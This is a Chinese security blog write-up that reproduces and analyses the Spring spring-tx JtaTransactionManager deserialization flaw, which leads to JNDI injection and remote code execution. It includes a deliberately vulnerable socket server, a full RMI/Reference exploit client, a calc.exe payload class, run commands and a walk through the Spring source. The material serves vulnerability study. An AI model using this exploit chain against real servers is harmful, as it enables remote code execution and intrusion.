老早的漏洞了,问题是出在spring-tx-xxx.jar这个包。

0x01 环境搭建

直接用的Github的项目:https://github.com/zerothoughts/spring-jndi

下载到本地,导入maven项目即可。

同时,为了顺利复现漏洞,JDK要在以下的版本之下:8u121、7u131、6u141。在上述版本之后的JDK中,都增加了com.sun.jndi.rmi.object.trustURLCodebase选项,其默认禁止RMI和CORBA协议使用远程codebase的选项。

0x02 漏洞复现

成功的Demo

本次Demo就在Windows上测试,JDK版本为1.7.0_80。

为了方便,小改了下代码。

ExploitableServer.java

存在漏洞的服务端代码,全网监听1234端口,将连接上来的Socket数据流内容进行反序列化操作即readObject():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class ExploitableServer {
public static void main(String[] args) {
try {
ServerSocket serverSocket = new ServerSocket(1234);
System.out.println("Server started on port "+serverSocket.getLocalPort());
while(true) {
Socket socket=serverSocket.accept();
System.out.println("Connection received from "+socket.getInetAddress());
ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
try {
Object object = objectInputStream.readObject();
System.out.println("Read object "+object);
} catch(Exception e) {
System.out.println("Exception caught while reading object");
e.printStackTrace();
}
}
} catch(Exception e) {
e.printStackTrace();
}
}
}

ExploitClient.java

先创建注册表并监听在默认的1099端口,然后使用RMI+Reference的方式将referenceWrapper注册到Registry中、其中注册名为Object,然后和目标服务器建立连接,接着新建org.springframework.transaction.jta.JtaTransactionManager实例并调用setUserTransactionName来设置JNDI要查找的RMI服务地址、这里为本程序开启的Registry服务中绑定的object,最后将这个实例对象序列化之后发送给服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class ExploitClient {
public static void main(String[] args) {
try {
int port = 1234;
String localAddress= "127.0.0.1";

System.out.println("Creating RMI Registry");
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);

Socket socket = new Socket(localAddress,port);
System.out.println("Connected to server");
String jndiAddress = "rmi://"+localAddress+":1099/Object";

org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);

System.out.println("Sending object to server...");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
objectOutputStream.writeObject(object);
objectOutputStream.flush();
while(true) {
Thread.sleep(1000);
}
} catch(Exception e) {
e.printStackTrace();
}
}
}

ExportObject.java

Reference引用指向的恶意类,这里我们在构造方法中实现运行计算器的功能:

1
2
3
4
5
6
7
8
9
public class ExportObject {
public ExportObject() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch(Exception e) {
e.printStackTrace();
}
}
}

先运行目标服务端ExploitableServer,监听着1234端口,其接受Socket数据并进行反序列化操作;

接着将编译后的ExportObject.class放在攻击者的服务器中,这里是Python直接启的Web服务;

最后运行客户端ExploitClient,其先启动Registry并将指向攻击者服务器的ExportObject.class的Reference引用绑定到注册表中,然后将设置里JNDI查询地址为Registry中绑定的object的实例对象序列化后发送给目标服务端程序;而目标服务端程序ExploitableServer接受到客户端ExploitClient发送的数据后,会对数据进行反序列化操作,其中会触发org.springframework.transaction.jta.JtaTransactionManager实例对象自定义的readObject()方法,调用lookup()查询恶意Reference引用指向的攻击者服务器中的ExportObject类,从而任意代码执行。

弹计算器是意料之中的,值得注意的是我本地的JDK版本是1.7.0_80:

com.sun.jndi.rmi.object.trustURLCodebase

前面说到,在JDK版本8u121、7u131、6u141以后,com.sun.jndi.rmi.object.trustURLCodebase的默认值为false。

下面主要是为了看下高版本的报错情况,环境选在Linux中,其中JDK版本为1.8.0_222。

git clone下项目后,分别输入如下命令来运行服务端和客户端:

1
2
3
4
5
6
7
cd server
mvn install
java -cp "target/*" ExploitableServer 9999

cd client
mvn install
java -cp "target/*"" ExploitClient 127.0.0.1 9999 127.0.0.1

在客户端发送请求之后,在服务端可看到报错信息:

1
org.springframework.transaction.TransactionSystemException: JTA UserTransaction is not available at JNDI location [rmi://127.0.0.1:1099/Object]; nested exception is javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.

可以看到主要的报错信息就是com.sun.jndi.rmi.object.trustURLCodebase默认为false,其是默认禁止RMI和CORBA协议使用远程codebase的选项,导致我们不能通过低版本中RMI+Reference的方式来实现JNDI注入从而实现触发反序列化漏洞执行任意代码。

0x03 漏洞分析

函数调用链分析

由前面我们知道,传过去目标服务端进行反序列化操作的是经过序列化的org.springframework.transaction.jta.JtaTransactionManager实例对象,其在传输前还通过调用setUserTransactionName()来设置属性值为某个特定的JNDI。

由前面我们知道,传过去目标服务端进行反序列化操作的是经过序列化的org.springframework.transaction.jta.JtaTransactionManager实例对象,其在传输前还通过调用setUserTransactionName()来设置属性值为某个特定的JNDI。

下面我们跟进org.springframework.transaction.jta.JtaTransactionManager看看它的readObject()方法:

1
2
3
4
5
6
7
8
9
10
11
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// Rely on default serialization; just initialize state after deserialization.
ois.defaultReadObject();

// Create template for client-side JNDI lookup.
this.jndiTemplate = new JndiTemplate();

// Perform a fresh lookup for JTA handles.
initUserTransactionAndTransactionManager();
initTransactionSynchronizationRegistry();
}

可以看到JtaTransactionManager类的readObject()方法被重写了,关注到调用了initUserTransactionAndTransactionManager(),跟进去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {
if (this.userTransaction == null) {
// Fetch JTA UserTransaction from JNDI, if necessary.
if (StringUtils.hasLength(this.userTransactionName)) {
this.userTransaction = lookupUserTransaction(this.userTransactionName);
this.userTransactionObtainedFromJndi = true;
}
else {
this.userTransaction = retrieveUserTransaction();
if (this.userTransaction == null && this.autodetectUserTransaction) {
// Autodetect UserTransaction at its default JNDI location.
this.userTransaction = findUserTransaction();
}
}
}

if (this.transactionManager == null) {
// Fetch JTA TransactionManager from JNDI, if necessary.
if (StringUtils.hasLength(this.transactionManagerName)) {
this.transactionManager = lookupTransactionManager(this.transactionManagerName);
}
else {
this.transactionManager = retrieveTransactionManager();
if (this.transactionManager == null && this.autodetectTransactionManager) {
// Autodetect UserTransaction object that implements TransactionManager,
// and check fallback JNDI locations otherwise.
this.transactionManager = findTransactionManager(this.userTransaction);
}
}
}

// If only JTA TransactionManager specified, create UserTransaction handle for it.
if (this.userTransaction == null && this.transactionManager != null) {
this.userTransaction = buildUserTransaction(this.transactionManager);
}
}

分析得知,先判断JtaTransactionManager类的userTransaction属性值是否为空,若为空则进一步判断userTransactionName属性值是否为空,当不为空是则调用lookupUserTransaction(this.userTransactionName)

进一步跟进lookupUserTransaction()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
protected UserTransaction lookupUserTransaction(String userTransactionName)
throws TransactionSystemException {
try {
if (logger.isDebugEnabled()) {
logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]");
}
return getJndiTemplate().lookup(userTransactionName, UserTransaction.class);
}
catch (NamingException ex) {
throw new TransactionSystemException(
"JTA UserTransaction is not available at JNDI location [" + userTransactionName + "]", ex);
}
}

其中直接调用getJndiTemplate().lookup()函数来查找注册表中的远程对象。为了确认lookup()函数是否是JNDI注入常用的那个,再跟进去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Object lookup(final String name) throws NamingException {
if (logger.isDebugEnabled()) {
logger.debug("Looking up JNDI object with name [" + name + "]");
}
return execute(new JndiCallback<Object>() {
@Override
public Object doInContext(Context ctx) throws NamingException {
Object located = ctx.lookup(name);
if (located == null) {
throw new NameNotFoundException(
"JNDI object with [" + name + "] not found: JNDI implementation returned null");
}
return located;
}
});
}

这里就清晰了,这个lookup()函数符合JNDI注入的特征,且参数是JtaTransactionManager类的userTransactionName属性值,而该属性值我们是可以通过调用setUserTransactionName()的方式来设置的。

小结

这个漏洞的产生根源是:org.springframework.transaction.jta.JtaTransactionManager类重写了readObject()方法,其中调用了JNDI注入相关的lookup()函数,而lookup()函数的参数userTransactionName为JtaTransactionManager类的属性、是可以通过调用setUserTransactionName()来设置的,从而导致lookup()函数的参数外部可控,当目标服务端进行反序列化操作时就会触发JNDI注入漏洞从而导致任意代码执行。

0x04 参考

Spring framework deserialization RCE